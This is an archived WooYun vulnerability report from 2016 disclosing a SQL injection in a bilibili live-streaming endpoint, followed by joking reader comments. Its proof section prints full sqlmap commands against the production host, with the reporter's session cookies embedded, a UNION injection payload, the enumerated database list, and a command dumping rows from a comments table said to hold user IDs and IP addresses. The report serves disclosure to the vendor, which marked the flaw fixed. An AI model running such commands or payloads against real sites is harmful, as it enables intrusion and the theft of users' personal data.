当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0172994

漏洞标题：bilibili某处SQL注入漏洞

相关厂商：bilibili.com

漏洞作者： creep

提交时间：2016-01-27 13:07

修复时间：2016-01-28 18:43

公开时间：2016-01-28 18:43

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-27： 细节已通知厂商并且等待厂商处理中
2016-01-27： 厂商已经确认，细节仅向厂商公开
2016-01-28： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

上次发的csrf被忽略了，很不开心:( 于是我就找到了个注入
PS:求审核大大，给个前台。长这么大，没前台过:(

详细说明：

注入点：http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00


1.png


2.png


漏洞证明：

sqlmap.py -u "http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00*" --cookie="fts=1451713714; uTZ=-480; pgv_pvi=2566455296; tma=136533283.45964959.1451729767610.1451729767610.1451729767610.1; tmd=53.136533283.45964959.1451729767610.; _cnt_dyn=null; _cnt_pm=0; _cnt_notify=0; __utma=148949161.1557161098.1453816022.1453816022.1453816022.1; __utmz=148949161.1453816022.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DedeID=153703; DedeUserID=20747478; DedeUserID__ckMd5=e1df39fd7037a65b; SESSDATA=64c73f99%2C1454421944%2C90ff3b12; LIVE_LOGIN_DATA=2ed7ee57c6067048b045bb6eb9b29ee72fbb108e; LIVE_LOGIN_DATA__ckMd5=913dd3abec658677; CNZZDATA2724999=cnzz_eid%3D903797384-1453819753-%26ntime%3D1453865260; user_face=http%3A%2F%2Fstatic.hdslb.com%2Fimages%2Fmember%2Fnoface.gif; sid=khvqxkr5; pgv_si=s1241440256; _dfcaptcha=06b808246b571c1e1c89368fc712b953; NotFirst=1" --dbs


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (83) - 8 columns
Payload: http://live.bilibili.com:80/i/operation?month=2015-12-01 00:00:00' UNION ALL SELECT 83,83,83,CONCAT(0x716a627171,0x6372514d4f48527341756356757a77506c5948444152685373557a6d6d6c466a6256756773645a56,0x7176717671),83,83,83,83#
---
back-end DBMS: MySQL 5
available databases [11]:
[*] information_schema
[*] live-app
[*] live-coin
[*] live-cost
[*] live-damaku
[*] live-giftlog
[*] live-hamster
[*] live-platform-user
[*] live-sign
[*] live-ugift
[*] live-user
=========================================================
泄露了千万条直播弹幕的发言人uid、ip地址、内容等信息（不排除其他信息）
以下仅仅测试10条，

qlmap.py -u "http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00*" --cookie="fts=1451713714; uTZ=-480; pgv_pvi=2566455296; tma=136533283.45964959.1451729767610.1451729767610.1451729767610.1; tmd=53.136533283.45964959.1451729767610.; _cnt_dyn=null; _cnt_pm=0; _cnt_notify=0; __utma=148949161.1557161098.1453816022.1453816022.1453816022.1; __utmz=148949161.1453816022.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DedeID=153703; DedeUserID=20747478; DedeUserID__ckMd5=e1df39fd7037a65b; SESSDATA=64c73f99%2C1454421944%2C90ff3b12; LIVE_LOGIN_DATA=2ed7ee57c6067048b045bb6eb9b29ee72fbb108e; LIVE_LOGIN_DATA__ckMd5=913dd3abec658677; CNZZDATA2724999=cnzz_eid%3D903797384-1453819753-%26ntime%3D1453865260; user_face=http%3A%2F%2Fstatic.hdslb.com%2Fimages%2Fmember%2Fnoface.gif; sid=khvqxkr5; pgv_si=s1241440256; _dfcaptcha=06b808246b571c1e1c89368fc712b953; NotFirst=1" -D live-damaku -T dm_dmtable --dump --start 1 --stop 10


3.png


4.png


修复方案：

版权声明：转载请注明来源 creep@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-01-27 13:47

厂商回复：

攻城狮说要下午直播切腹

最新状态：

2016-01-28：已修复完成

漏洞评价：

评价

  1. 2016-01-27 13:40 | phantom0307 ( 普通白帽子 | Rank:119 漏洞数:33 | Night time sharpensHeightens each sens...)

    又来~我的b站账号可是很值钱的~~求手下留情

  2. 2016-01-27 14:46 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2223 漏洞数:301 | 天天向上 ！！！)

    求直播地址。

  3. 2016-01-27 14:51 | chock ( 普通白帽子 | Rank:118 漏洞数:28 | 若你喜欢怪人)

    求直播切腹的av号

  4. 2016-01-27 14:55 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    66666666666666

  5. 2016-01-27 14:58 | 乐乐 ( 实习白帽子 | Rank:51 漏洞数:9 | 一名信息安全员)

    提交漏洞的大神，本是同根生，相煎何太急？

  6. 2016-01-27 15:10 | 帮5买(乌云厂商)

    求直播切腹的av号

  7. 2016-01-27 15:12 | SH0X8001 ( 路人 | Rank:15 漏洞数:3 | 你猜)

    6666 有硬币么

  8. 2016-01-27 15:20 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    一切up主都tm吃屁

  9. 2016-01-27 15:26 | nanpo ( 路人 | Rank:2 漏洞数:1 | POI)

    求直播地址。

  10. 2016-01-27 15:50 | 乐乐 ( 实习白帽子 | Rank:51 漏洞数:9 | 一名信息安全员)

    怎么都这么幸灾乐祸！？求直播地址。

  11. 2016-01-27 16:37 | 金馆长 ( 路人 | Rank:4 漏洞数:2 | Up)

    av10492 不用谢

  12. 2016-01-27 18:26 | hkcs ( 路人 | Rank:12 漏洞数:3 | 只是路过)

    直播地址呢

  13. 2016-01-27 19:06 | D＆G ( 普通白帽子 | Rank:525 漏洞数:104 | going)

    求直播地址。